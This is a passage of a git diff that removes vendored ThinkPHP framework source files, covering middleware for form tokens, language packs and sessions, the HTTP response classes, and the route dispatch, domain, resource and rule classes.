表单令牌Token名称 - * @return Response - */ - public function handle(Request $request, Closure $next, string $token = null) - { - $check = $request->checkToken($token ?: '__token__'); - - if (false === $check) { - throw new ValidateException('invalid token'); - } - - return $next($request); - } - -} diff --git a/vendor/topthink/framework/src/think/middleware/LoadLangPack.php b/vendor/topthink/framework/src/think/middleware/LoadLangPack.php deleted file mode 100644 index c9e7a9d..0000000 --- a/vendor/topthink/framework/src/think/middleware/LoadLangPack.php +++ /dev/null @@ -1,61 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\middleware; - -use Closure; -use think\App; -use think\Lang; -use think\Request; -use think\Response; - -/** - * 多语言加载 - */ -class LoadLangPack -{ - protected $app; - - protected $lang; - - public function __construct(App $app, Lang $lang) - { - $this->app = $app; - $this->lang = $lang; - } - - /** - * 路由初始化(路由规则注册) - * @access public - * @param Request $request - * @param Closure $next - * @return Response - */ - public function handle($request, Closure $next) - { - // 自动侦测当前语言 - $langset = $this->lang->detect($request); - - if ($this->lang->defaultLangSet() != $langset) { - // 加载系统语言包 - $this->lang->load([ - $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php', - ]); - - $this->app->LoadLangPack($langset); - } - - $this->lang->saveToCookie($this->app->cookie); - - return $next($request); - } -} diff --git a/vendor/topthink/framework/src/think/middleware/SessionInit.php b/vendor/topthink/framework/src/think/middleware/SessionInit.php deleted file mode 100644 index 8c2a7b4..0000000 --- a/vendor/topthink/framework/src/think/middleware/SessionInit.php +++ /dev/null @@ -1,80 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\middleware; - -use Closure; -use think\App; -use think\Request; -use think\Response; -use think\Session; - -/** - * Session初始化 - */ -class SessionInit -{ - - /** @var App */ - protected $app; - - /** @var Session */ - protected $session; - - public function __construct(App $app, Session $session) - { - $this->app = $app; - $this->session = $session; - } - - /** - * Session初始化 - * @access public - * @param Request $request - * @param Closure $next - * @return Response - */ - public function handle($request, Closure $next) - { - // Session初始化 - $varSessionId = $this->app->config->get('session.var_session_id'); - $cookieName = $this->session->getName(); - - if ($varSessionId && $request->request($varSessionId)) { - $sessionId = $request->request($varSessionId); - } else { - $sessionId = $request->cookie($cookieName); - } - - if ($sessionId) { - $this->session->setId($sessionId); - } - - $this->session->init(); - - $request->withSession($this->session); - - /** @var Response $response */ - $response = $next($request); - - $response->setSession($this->session); - - $this->app->cookie->set($cookieName, $this->session->getId()); - - return $response; - } - - public function end(Response $response) - { - $this->session->save(); - } -} diff --git a/vendor/topthink/framework/src/think/response/File.php b/vendor/topthink/framework/src/think/response/File.php deleted file mode 100644 index 45d7196..0000000 --- a/vendor/topthink/framework/src/think/response/File.php +++ /dev/null @@ -1,158 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Exception; -use think\Response; - -/** - * File Response - */ -class File extends Response -{ - protected $expire = 360; - protected $name; - protected $mimeType; - protected $isContent = false; - protected $force = true; - - public function __construct($data = '', int $code = 200) - { - $this->init($data, $code); - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return mixed - * @throws \Exception - */ - protected function output($data) - { - if (!$this->isContent && !is_file($data)) { - throw new Exception('file not exists:' . $data); - } - - ob_end_clean(); - - if (!empty($this->name)) { - $name = $this->name; - } else { - $name = !$this->isContent ? pathinfo($data, PATHINFO_BASENAME) : ''; - } - - if ($this->isContent) { - $mimeType = $this->mimeType; - $size = strlen($data); - } else { - $mimeType = $this->getMimeType($data); - $size = filesize($data); - } - - $this->header['Pragma'] = 'public'; - $this->header['Content-Type'] = $mimeType ?: 'application/octet-stream'; - $this->header['Cache-control'] = 'max-age=' . $this->expire; - $this->header['Content-Disposition'] = ($this->force ? 'attachment; ' : '') . 'filename="' . $name . '"'; - $this->header['Content-Length'] = $size; - $this->header['Content-Transfer-Encoding'] = 'binary'; - $this->header['Expires'] = gmdate("D, d M Y H:i:s", time() + $this->expire) . ' GMT'; - - $this->lastModified(gmdate('D, d M Y H:i:s', time()) . ' GMT'); - - return $this->isContent ? $data : file_get_contents($data); - } - - /** - * 设置是否为内容 必须配合mimeType方法使用 - * @access public - * @param bool $content - * @return $this - */ - public function isContent(bool $content = true) - { - $this->isContent = $content; - return $this; - } - - /** - * 设置有效期 - * @access public - * @param integer $expire 有效期 - * @return $this - */ - public function expire(int $expire) - { - $this->expire = $expire; - return $this; - } - - /** - * 设置文件类型 - * @access public - * @param string $filename 文件名 - * @return $this - */ - public function mimeType(string $mimeType) - { - $this->mimeType = $mimeType; - return $this; - } - - /** - * 设置文件强制下载 - * @access public - * @param bool $force 强制浏览器下载 - * @return $this - */ - public function force(bool $force) - { - $this->force = $force; - return $this; - } - - /** - * 获取文件类型信息 - * @access public - * @param string $filename 文件名 - * @return string - */ - protected function getMimeType(string $filename): string - { - if (!empty($this->mimeType)) { - return $this->mimeType; - } - - $finfo = finfo_open(FILEINFO_MIME_TYPE); - - return finfo_file($finfo, $filename); - } - - /** - * 设置下载文件的显示名称 - * @access public - * @param string $filename 文件名 - * @param bool $extension 后缀自动识别 - * @return $this - */ - public function name(string $filename, bool $extension = true) - { - $this->name = $filename; - - if ($extension && false === strpos($filename, '.')) { - $this->name .= '.' . pathinfo($this->data, PATHINFO_EXTENSION); - } - - return $this; - } -} diff --git a/vendor/topthink/framework/src/think/response/Html.php b/vendor/topthink/framework/src/think/response/Html.php deleted file mode 100644 index dbf23c7..0000000 --- a/vendor/topthink/framework/src/think/response/Html.php +++ /dev/null @@ -1,34 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Cookie; -use think\Response; - -/** - * Html Response - */ -class Html extends Response -{ - /** - * 输出type - * @var string - */ - protected $contentType = 'text/html'; - - public function __construct(Cookie $cookie, $data = '', int $code = 200) - { - $this->init($data, $code); - $this->cookie = $cookie; - } -} diff --git a/vendor/topthink/framework/src/think/response/Json.php b/vendor/topthink/framework/src/think/response/Json.php deleted file mode 100644 index 85d2d22..0000000 --- a/vendor/topthink/framework/src/think/response/Json.php +++ /dev/null @@ -1,62 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Cookie; -use think\Response; - -/** - * Json Response - */ -class Json extends Response -{ - // 输出参数 - protected $options = [ - 'json_encode_param' => JSON_UNESCAPED_UNICODE, - ]; - - protected $contentType = 'application/json'; - - public function __construct(Cookie $cookie, $data = '', int $code = 200) - { - $this->init($data, $code); - $this->cookie = $cookie; - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return string - * @throws \Exception - */ - protected function output($data): string - { - try { - // 返回JSON数据格式到客户端 包含状态信息 - $data = json_encode($data, $this->options['json_encode_param']); - - if (false === $data) { - throw new \InvalidArgumentException(json_last_error_msg()); - } - - return $data; - } catch (\Exception $e) { - if ($e->getPrevious()) { - throw $e->getPrevious(); - } - throw $e; - } - } - -} diff --git a/vendor/topthink/framework/src/think/response/Jsonp.php b/vendor/topthink/framework/src/think/response/Jsonp.php deleted file mode 100644 index 35f26f2..0000000 --- a/vendor/topthink/framework/src/think/response/Jsonp.php +++ /dev/null @@ -1,74 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Cookie; -use think\Request; -use think\Response; - -/** - * Jsonp Response - */ -class Jsonp extends Response -{ - // 输出参数 - protected $options = [ - 'var_jsonp_handler' => 'callback', - 'default_jsonp_handler' => 'jsonpReturn', - 'json_encode_param' => JSON_UNESCAPED_UNICODE, - ]; - - protected $contentType = 'application/javascript'; - - protected $request; - - public function __construct(Cookie $cookie, Request $request, $data = '', int $code = 200) - { - $this->init($data, $code); - - $this->cookie = $cookie; - $this->request = $request; - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return string - * @throws \Exception - */ - protected function output($data): string - { - try { - // 返回JSON数据格式到客户端 包含状态信息 [当url_common_param为false时是无法获取到$_GET的数据的,故使用Request来获取] - $varJsonpHandler = $this->request->param($this->options['var_jsonp_handler'], ""); - $handler = !empty($varJsonpHandler) ? $varJsonpHandler : $this->options['default_jsonp_handler']; - - $data = json_encode($data, $this->options['json_encode_param']); - - if (false === $data) { - throw new \InvalidArgumentException(json_last_error_msg()); - } - - $data = $handler . '(' . $data . ');'; - - return $data; - } catch (\Exception $e) { - if ($e->getPrevious()) { - throw $e->getPrevious(); - } - throw $e; - } - } - -} diff --git a/vendor/topthink/framework/src/think/response/Redirect.php b/vendor/topthink/framework/src/think/response/Redirect.php deleted file mode 100644 index 3d201aa..0000000 --- a/vendor/topthink/framework/src/think/response/Redirect.php +++ /dev/null @@ -1,98 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Cookie; -use think\Request; -use think\Response; -use think\Session; - -/** - * Redirect Response - */ -class Redirect extends Response -{ - - protected $request; - - public function __construct(Cookie $cookie, Request $request, Session $session, $data = '', int $code = 302) - { - $this->init((string) $data, $code); - - $this->cookie = $cookie; - $this->request = $request; - $this->session = $session; - - $this->cacheControl('no-cache,must-revalidate'); - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return string - */ - protected function output($data): string - { - $this->header['Location'] = $data; - - return ''; - } - - /** - * 重定向传值(通过Session) - * @access protected - * @param string|array $name 变量名或者数组 - * @param mixed $value 值 - * @return $this - */ - public function with($name, $value = null) - { - if (is_array($name)) { - foreach ($name as $key => $val) { - $this->session->flash($key, $val); - } - } else { - $this->session->flash($name, $value); - } - - return $this; - } - - /** - * 记住当前url后跳转 - * @access public - * @return $this - */ - public function remember() - { - $this->session->set('redirect_url', $this->request->url()); - - return $this; - } - - /** - * 跳转到上次记住的url - * @access public - * @return $this - */ - public function restore() - { - if ($this->session->has('redirect_url')) { - $this->data = $this->session->get('redirect_url'); - $this->session->delete('redirect_url'); - } - - return $this; - } -} diff --git a/vendor/topthink/framework/src/think/response/View.php b/vendor/topthink/framework/src/think/response/View.php deleted file mode 100644 index 0b1ae88..0000000 --- a/vendor/topthink/framework/src/think/response/View.php +++ /dev/null @@ -1,149 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Cookie; -use think\Response; -use think\View as BaseView; - -/** - * View Response - */ -class View extends Response -{ - /** - * 输出参数 - * @var array - */ - protected $options = []; - - /** - * 输出变量 - * @var array - */ - protected $vars = []; - - /** - * 输出过滤 - * @var mixed - */ - protected $filter; - - /** - * 输出type - * @var string - */ - protected $contentType = 'text/html'; - - /** - * View对象 - * @var BaseView - */ - protected $view; - - /** - * 是否内容渲染 - * @var bool - */ - protected $isContent = false; - - public function __construct(Cookie $cookie, BaseView $view, $data = '', int $code = 200) - { - $this->init($data, $code); - - $this->cookie = $cookie; - $this->view = $view; - } - - /** - * 设置是否为内容渲染 - * @access public - * @param bool $content - * @return $this - */ - public function isContent(bool $content = true) - { - $this->isContent = $content; - return $this; - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return string - */ - protected function output($data): string - { - // 渲染模板输出 - return $this->view->filter($this->filter) - ->fetch($data, $this->vars, $this->isContent); - } - - /** - * 获取视图变量 - * @access public - * @param string $name 模板变量 - * @return mixed - */ - public function getVars(string $name = null) - { - if (is_null($name)) { - return $this->vars; - } else { - return $this->vars[$name] ?? null; - } - } - - /** - * 模板变量赋值 - * @access public - * @param string|array $name 模板变量 - * @param mixed $value 变量值 - * @return $this - */ - public function assign($name, $value = null) - { - if (is_array($name)) { - $this->vars = array_merge($this->vars, $name); - } else { - $this->vars[$name] = $value; - } - - return $this; - } - - /** - * 视图内容过滤 - * @access public - * @param callable $filter - * @return $this - */ - public function filter(callable $filter = null) - { - $this->filter = $filter; - return $this; - } - - /** - * 检查模板是否存在 - * @access public - * @param string $name 模板名 - * @return bool - */ - public function exists(string $name): bool - { - return $this->view->exists($name); - } - -} diff --git a/vendor/topthink/framework/src/think/response/Xml.php b/vendor/topthink/framework/src/think/response/Xml.php deleted file mode 100644 index 3597548..0000000 --- a/vendor/topthink/framework/src/think/response/Xml.php +++ /dev/null @@ -1,127 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\response; - -use think\Collection; -use think\Cookie; -use think\Model; -use think\Response; - -/** - * XML Response - */ -class Xml extends Response -{ - // 输出参数 - protected $options = [ - // 根节点名 - 'root_node' => 'think', - // 根节点属性 - 'root_attr' => '', - //数字索引的子节点名 - 'item_node' => 'item', - // 数字索引子节点key转换的属性名 - 'item_key' => 'id', - // 数据编码 - 'encoding' => 'utf-8', - ]; - - protected $contentType = 'text/xml'; - - public function __construct(Cookie $cookie, $data = '', int $code = 200) - { - $this->init($data, $code); - $this->cookie = $cookie; - } - - /** - * 处理数据 - * @access protected - * @param mixed $data 要处理的数据 - * @return mixed - */ - protected function output($data): string - { - if (is_string($data)) { - if (0 !== strpos($data, 'options['encoding']; - $xml = ""; - $data = $xml . $data; - } - return $data; - } - - // XML数据转换 - return $this->xmlEncode($data, $this->options['root_node'], $this->options['item_node'], $this->options['root_attr'], $this->options['item_key'], $this->options['encoding']); - } - - /** - * XML编码 - * @access protected - * @param mixed $data 数据 - * @param string $root 根节点名 - * @param string $item 数字索引的子节点名 - * @param mixed $attr 根节点属性 - * @param string $id 数字索引子节点key转换的属性名 - * @param string $encoding 数据编码 - * @return string - */ - protected function xmlEncode($data, string $root, string $item, $attr, string $id, string $encoding): string - { - if (is_array($attr)) { - $array = []; - foreach ($attr as $key => $value) { - $array[] = "{$key}=\"{$value}\""; - } - $attr = implode(' ', $array); - } - - $attr = trim($attr); - $attr = empty($attr) ? '' : " {$attr}"; - $xml = ""; - $xml .= "<{$root}{$attr}>"; - $xml .= $this->dataToXml($data, $item, $id); - $xml .= ""; - - return $xml; - } - - /** - * 数据XML编码 - * @access protected - * @param mixed $data 数据 - * @param string $item 数字索引时的节点名称 - * @param string $id 数字索引key转换为的属性名 - * @return string - */ - protected function dataToXml($data, string $item, string $id): string - { - $xml = $attr = ''; - - if ($data instanceof Collection || $data instanceof Model) { - $data = $data->toArray(); - } - - foreach ($data as $key => $val) { - if (is_numeric($key)) { - $id && $attr = " {$id}=\"{$key}\""; - $key = $item; - } - $xml .= "<{$key}{$attr}>"; - $xml .= (is_array($val) || is_object($val)) ? $this->dataToXml($val, $item, $id) : $val; - $xml .= ""; - } - - return $xml; - } -} diff --git a/vendor/topthink/framework/src/think/route/Dispatch.php b/vendor/topthink/framework/src/think/route/Dispatch.php deleted file mode 100644 index 9884a47..0000000 --- a/vendor/topthink/framework/src/think/route/Dispatch.php +++ /dev/null @@ -1,257 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use think\App; -use think\Container; -use think\Request; -use think\Response; -use think\Validate; - -/** - * 路由调度基础类 - */ -abstract class Dispatch -{ - /** - * 应用对象 - * @var \think\App - */ - protected $app; - - /** - * 请求对象 - * @var Request - */ - protected $request; - - /** - * 路由规则 - * @var Rule - */ - protected $rule; - - /** - * 调度信息 - * @var mixed - */ - protected $dispatch; - - /** - * 路由变量 - * @var array - */ - protected $param; - - public function __construct(Request $request, Rule $rule, $dispatch, array $param = []) - { - $this->request = $request; - $this->rule = $rule; - $this->dispatch = $dispatch; - $this->param = $param; - } - - public function init(App $app) - { - $this->app = $app; - - // 执行路由后置操作 - $this->doRouteAfter(); - } - - /** - * 执行路由调度 - * @access public - * @return mixed - */ - public function run(): Response - { - if ($this->rule instanceof RuleItem && $this->request->method() == 'OPTIONS' && $this->rule->isAutoOptions()) { - $rules = $this->rule->getRouter()->getRule($this->rule->getRule()); - $allow = []; - foreach ($rules as $item) { - $allow[] = strtoupper($item->getMethod()); - } - - return Response::create('', 'html', 204)->header(['Allow' => implode(', ', $allow)]); - } - - $data = $this->exec(); - return $this->autoResponse($data); - } - - protected function autoResponse($data): Response - { - if ($data instanceof Response) { - $response = $data; - } elseif (!is_null($data)) { - // 默认自动识别响应输出类型 - $type = $this->request->isJson() ? 'json' : 'html'; - $response = Response::create($data, $type); - } else { - $data = ob_get_clean(); - - $content = false === $data ? '' : $data; - $status = '' === $content && $this->request->isJson() ? 204 : 200; - $response = Response::create($content, 'html', $status); - } - - return $response; - } - - /** - * 检查路由后置操作 - * @access protected - * @return void - */ - protected function doRouteAfter(): void - { - $option = $this->rule->getOption(); - - // 添加中间件 - if (!empty($option['middleware'])) { - $this->app->middleware->import($option['middleware'], 'route'); - } - - if (!empty($option['append'])) { - $this->param = array_merge($this->param, $option['append']); - } - - // 绑定模型数据 - if (!empty($option['model'])) { - $this->createBindModel($option['model'], $this->param); - } - - // 记录当前请求的路由规则 - $this->request->setRule($this->rule); - - // 记录路由变量 - $this->request->setRoute($this->param); - - // 数据自动验证 - if (isset($option['validate'])) { - $this->autoValidate($option['validate']); - } - } - - /** - * 路由绑定模型实例 - * @access protected - * @param array $bindModel 绑定模型 - * @param array $matches 路由变量 - * @return void - */ - protected function createBindModel(array $bindModel, array $matches): void - { - foreach ($bindModel as $key => $val) { - if ($val instanceof \Closure) { - $result = $this->app->invokeFunction($val, $matches); - } else { - $fields = explode('&', $key); - - if (is_array($val)) { - [$model, $exception] = $val; - } else { - $model = $val; - $exception = true; - } - - $where = []; - $match = true; - - foreach ($fields as $field) { - if (!isset($matches[$field])) { - $match = false; - break; - } else { - $where[] = [$field, '=', $matches[$field]]; - } - } - - if ($match) { - $result = $model::where($where)->failException($exception)->find(); - } - } - - if (!empty($result)) { - // 注入容器 - $this->app->instance(get_class($result), $result); - } - } - } - - /** - * 验证数据 - * @access protected - * @param array $option - * @return void - * @throws \think\exception\ValidateException - */ - protected function autoValidate(array $option): void - { - [$validate, $scene, $message, $batch] = $option; - - if (is_array($validate)) { - // 指定验证规则 - $v = new Validate(); - $v->rule($validate); - } else { - // 调用验证器 - $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate); - - $v = new $class(); - - if (!empty($scene)) { - $v->scene($scene); - } - } - - /** @var Validate $v */ - $v->message($message) - ->batch($batch) - ->failException(true) - ->check($this->request->param()); - } - - public function getDispatch() - { - return $this->dispatch; - } - - public function getParam(): array - { - return $this->param; - } - - abstract public function exec(); - - public function __sleep() - { - return ['rule', 'dispatch', 'param', 'controller', 'actionName']; - } - - public function __wakeup() - { - $this->app = Container::pull('app'); - $this->request = $this->app->request; - } - - public function __debugInfo() - { - return [ - 'dispatch' => $this->dispatch, - 'param' => $this->param, - 'rule' => $this->rule, - ]; - } -} diff --git a/vendor/topthink/framework/src/think/route/Domain.php b/vendor/topthink/framework/src/think/route/Domain.php deleted file mode 100644 index 8c04af0..0000000 --- a/vendor/topthink/framework/src/think/route/Domain.php +++ /dev/null @@ -1,183 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use think\helper\Str; -use think\Request; -use think\Route; -use think\route\dispatch\Callback as CallbackDispatch; -use think\route\dispatch\Controller as ControllerDispatch; - -/** - * 域名路由 - */ -class Domain extends RuleGroup -{ - /** - * 架构函数 - * @access public - * @param Route $router 路由对象 - * @param string $name 路由域名 - * @param mixed $rule 域名路由 - */ - public function __construct(Route $router, string $name = null, $rule = null) - { - $this->router = $router; - $this->domain = $name; - $this->rule = $rule; - } - - /** - * 检测域名路由 - * @access public - * @param Request $request 请求对象 - * @param string $url 访问地址 - * @param bool $completeMatch 路由是否完全匹配 - * @return Dispatch|false - */ - public function check(Request $request, string $url, bool $completeMatch = false) - { - // 检测URL绑定 - $result = $this->checkUrlBind($request, $url); - - if (!empty($this->option['append'])) { - $request->setRoute($this->option['append']); - unset($this->option['append']); - } - - if (false !== $result) { - return $result; - } - - return parent::check($request, $url, $completeMatch); - } - - /** - * 设置路由绑定 - * @access public - * @param string $bind 绑定信息 - * @return $this - */ - public function bind(string $bind) - { - $this->router->bind($bind, $this->domain); - - return $this; - } - - /** - * 检测URL绑定 - * @access private - * @param Request $request - * @param string $url URL地址 - * @return Dispatch|false - */ - private function checkUrlBind(Request $request, string $url) - { - $bind = $this->router->getDomainBind($this->domain); - - if ($bind) { - $this->parseBindAppendParam($bind); - - // 如果有URL绑定 则进行绑定检测 - $type = substr($bind, 0, 1); - $bind = substr($bind, 1); - - $bindTo = [ - '\\' => 'bindToClass', - '@' => 'bindToController', - ':' => 'bindToNamespace', - ]; - - if (isset($bindTo[$type])) { - return $this->{$bindTo[$type]}($request, $url, $bind); - } - } - - return false; - } - - protected function parseBindAppendParam(string &$bind): void - { - if (false !== strpos($bind, '?')) { - [$bind, $query] = explode('?', $bind); - parse_str($query, $vars); - $this->append($vars); - } - } - - /** - * 绑定到类 - * @access protected - * @param Request $request - * @param string $url URL地址 - * @param string $class 类名(带命名空间) - * @return CallbackDispatch - */ - protected function bindToClass(Request $request, string $url, string $class): CallbackDispatch - { - $array = explode('|', $url, 2); - $action = !empty($array[0]) ? $array[0] : $this->router->config('default_action'); - $param = []; - - if (!empty($array[1])) { - $this->parseUrlParams($array[1], $param); - } - - return new CallbackDispatch($request, $this, [$class, $action], $param); - } - - /** - * 绑定到命名空间 - * @access protected - * @param Request $request - * @param string $url URL地址 - * @param string $namespace 命名空间 - * @return CallbackDispatch - */ - protected function bindToNamespace(Request $request, string $url, string $namespace): CallbackDispatch - { - $array = explode('|', $url, 3); - $class = !empty($array[0]) ? $array[0] : $this->router->config('default_controller'); - $method = !empty($array[1]) ? $array[1] : $this->router->config('default_action'); - $param = []; - - if (!empty($array[2])) { - $this->parseUrlParams($array[2], $param); - } - - return new CallbackDispatch($request, $this, [$namespace . '\\' . Str::studly($class), $method], $param); - } - - /** - * 绑定到控制器 - * @access protected - * @param Request $request - * @param string $url URL地址 - * @param string $controller 控制器名 - * @return ControllerDispatch - */ - protected function bindToController(Request $request, string $url, string $controller): ControllerDispatch - { - $array = explode('|', $url, 2); - $action = !empty($array[0]) ? $array[0] : $this->router->config('default_action'); - $param = []; - - if (!empty($array[1])) { - $this->parseUrlParams($array[1], $param); - } - - return new ControllerDispatch($request, $this, $controller . '/' . $action, $param); - } - -} diff --git a/vendor/topthink/framework/src/think/route/Resource.php b/vendor/topthink/framework/src/think/route/Resource.php deleted file mode 100644 index 01565fc..0000000 --- a/vendor/topthink/framework/src/think/route/Resource.php +++ /dev/null @@ -1,251 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use think\Route; - -/** - * 资源路由类 - */ -class Resource extends RuleGroup -{ - /** - * 资源路由名称 - * @var string - */ - protected $resource; - - /** - * 资源路由地址 - * @var string - */ - protected $route; - - /** - * REST方法定义 - * @var array - */ - protected $rest = []; - - /** - * 模型绑定 - * @var array - */ - protected $model = []; - - /** - * 数据验证 - * @var array - */ - protected $validate = []; - - /** - * 中间件 - * @var array - */ - protected $middleware = []; - - /** - * 架构函数 - * @access public - * @param Route $router 路由对象 - * @param RuleGroup $parent 上级对象 - * @param string $name 资源名称 - * @param string $route 路由地址 - * @param array $rest 资源定义 - */ - public function __construct(Route $router, RuleGroup $parent = null, string $name = '', string $route = '', array $rest = []) - { - $name = ltrim($name, '/'); - $this->router = $router; - $this->parent = $parent; - $this->resource = $name; - $this->route = $route; - $this->name = strpos($name, '.') ? strstr($name, '.', true) : $name; - - $this->setFullName(); - - // 资源路由默认为完整匹配 - $this->option['complete_match'] = true; - - $this->rest = $rest; - - if ($this->parent) { - $this->domain = $this->parent->getDomain(); - $this->parent->addRuleItem($this); - } - - if ($router->isTest()) { - $this->buildResourceRule(); - } - } - - /** - * 生成资源路由规则 - * @access protected - * @return void - */ - protected function buildResourceRule(): void - { - $rule = $this->resource; - $option = $this->option; - $origin = $this->router->getGroup(); - $this->router->setGroup($this); - - if (strpos($rule, '.')) { - // 注册嵌套资源路由 - $array = explode('.', $rule); - $last = array_pop($array); - $item = []; - - foreach ($array as $val) { - $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>'; - } - - $rule = implode('/', $item) . '/' . $last; - } - - $prefix = substr($rule, strlen($this->name) + 1); - - // 注册资源路由 - foreach ($this->rest as $key => $val) { - if ((isset($option['only']) && !in_array($key, $option['only'])) - || (isset($option['except']) && in_array($key, $option['except']))) { - continue; - } - - if (isset($last) && strpos($val[1], '') && isset($option['var'][$last])) { - $val[1] = str_replace('', '<' . $option['var'][$last] . '>', $val[1]); - } elseif (strpos($val[1], '') && isset($option['var'][$rule])) { - $val[1] = str_replace('', '<' . $option['var'][$rule] . '>', $val[1]); - } - - $ruleItem = $this->addRule(trim($prefix . $val[1], '/'), $this->route . '/' . $val[2], $val[0]); - - foreach (['model', 'validate', 'middleware'] as $name) { - if (isset($this->$name[$key])) { - call_user_func_array([$ruleItem, $name], (array) $this->$name[$key]); - } - - } - } - - $this->router->setGroup($origin); - } - - /** - * 设置资源允许 - * @access public - * @param array $only 资源允许 - * @return $this - */ - public function only(array $only) - { - return $this->setOption('only', $only); - } - - /** - * 设置资源排除 - * @access public - * @param array $except 排除资源 - * @return $this - */ - public function except(array $except) - { - return $this->setOption('except', $except); - } - - /** - * 设置资源路由的变量 - * @access public - * @param array $vars 资源变量 - * @return $this - */ - public function vars(array $vars) - { - return $this->setOption('var', $vars); - } - - /** - * 绑定资源验证 - * @access public - * @param array|string $name 资源类型或者验证信息 - * @param array|string $validate 验证信息 - * @return $this - */ - public function withValidate($name, $validate = []) - { - if (is_array($name)) { - $this->validate = array_merge($this->validate, $name); - } else { - $this->validate[$name] = $validate; - } - - return $this; - } - - /** - * 绑定资源模型 - * @access public - * @param array|string $name 资源类型或者模型绑定 - * @param array|string $model 模型绑定 - * @return $this - */ - public function withModel($name, $model = []) - { - if (is_array($name)) { - $this->model = array_merge($this->model, $name); - } else { - $this->model[$name] = $model; - } - - return $this; - } - - /** - * 绑定资源模型 - * @access public - * @param array|string $name 资源类型或者中间件定义 - * @param array|string $middleware 中间件定义 - * @return $this - */ - public function withMiddleware($name, $middleware = []) - { - if (is_array($name)) { - $this->middleware = array_merge($this->middleware, $name); - } else { - $this->middleware[$name] = $middleware; - } - - return $this; - } - - /** - * rest方法定义和修改 - * @access public - * @param array|string $name 方法名称 - * @param array|bool $resource 资源 - * @return $this - */ - public function rest($name, $resource = []) - { - if (is_array($name)) { - $this->rest = $resource ? $name : array_merge($this->rest, $name); - } else { - $this->rest[$name] = $resource; - } - - return $this; - } - -} diff --git a/vendor/topthink/framework/src/think/route/Rule.php b/vendor/topthink/framework/src/think/route/Rule.php deleted file mode 100644 index df99fe9..0000000 --- a/vendor/topthink/framework/src/think/route/Rule.php +++ /dev/null @@ -1,901 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\route; - -use Closure; -use think\Container; -use think\middleware\AllowCrossDomain; -use think\middleware\CheckRequestCache; -use think\middleware\FormTokenCheck; -use think\Request; -use think\Route; -use think\route\dispatch\Callback as CallbackDispatch; -use think\route\dispatch\Controller as ControllerDispatch; - -/** - * 路由规则基础类 - */ -abstract class Rule -{ - /** - * 路由标识 - * @var string - */ - protected $name; - - /** - * 所在域名 - * @var string - */ - protected $domain; - - /** - * 路由对象 - * @var Route - */ - protected $router; - - /** - * 路由所属分组 - * @var RuleGroup - */ - protected $parent; - - /** - * 路由规则 - * @var mixed - */ - protected $rule; - - /** - * 路由地址 - * @var string|Closure - */ - protected $route; - - /** - * 请求类型 - * @var string - */ - protected $method; - - /** - * 路由变量 - * @var array - */ - protected $vars = []; - - /** - * 路由参数 - * @var array - */ - protected $option = []; - - /** - * 路由变量规则 - * @var array - */ - protected $pattern = []; - - /** - * 需要和分组合并的路由参数 - * @var array - */ - protected $mergeOptions = ['model', 'append', 'middleware']; - - abstract public function check(Request $request, string $url, bool $completeMatch = false); - - /** - * 设置路由参数 - * @access public - * @param array $option 参数 - * @return $this - */ - public function option(array $option) - { - $this->option = array_merge($this->option, $option); - - return $this; - } - - /** - * 设置单个路由参数 - * @access public - * @param string $name 参数名 - * @param mixed $value 值 - * @return $this - */ - public function setOption(string $name, $value) - { - $this->option[$name] = $value; - - return $this; - } - - /** - * 注册变量规则 - * @access public - * @param array $pattern 变量规则 - * @return $this - */ - public function pattern(array $pattern) - { - $this->pattern = array_merge($this->pattern, $pattern); - - return $this; - } - - /** - * 设置标识 - * @access public - * @param string $name 标识名 - * @return $this - */ - public function name(string $name) - { - $this->name = $name; - - return $this; - } - - /** - * 获取路由对象 - * @access public - * @return Route - */ - public function getRouter(): Route - { - return $this->router; - } - - /** - * 获取Name - * @access public - * @return string - */ - public function getName(): string - { - return $this->name ?: ''; - } - - /** - * 获取当前路由规则 - * @access public - * @return mixed - */ - public function getRule() - { - return $this->rule; - } - - /** - * 获取当前路由地址 - * @access public - * @return mixed - */ - public function getRoute() - { - return $this->route; - } - - /** - * 获取当前路由的变量 - * @access public - * @return array - */ - public function getVars(): array - { - return $this->vars; - } - - /** - * 获取Parent对象 - * @access public - * @return $this|null - */ - public function getParent() - { - return $this->parent; - } - - /** - * 获取路由所在域名 - * @access public - * @return string - */ - public function getDomain(): string - { - return $this->domain ?: $this->parent->getDomain(); - } - - /** - * 获取路由参数 - * @access public - * @param string $name 变量名 - * @return mixed - */ - public function config(string $name = '') - { - return $this->router->config($name); - } - - /** - * 获取变量规则定义 - * @access public - * @param string $name 变量名 - * @return mixed - */ - public function getPattern(string $name = '') - { - $pattern = $this->pattern; - - if ($this->parent) { - $pattern = array_merge($this->parent->getPattern(), $pattern); - } - - if ('' === $name) { - return $pattern; - } - - return $pattern[$name] ?? null; - } - - /** - * 获取路由参数定义 - * @access public - * @param string $name 参数名 - * @param mixed $default 默认值 - * @return mixed - */ - public function getOption(string $name = '', 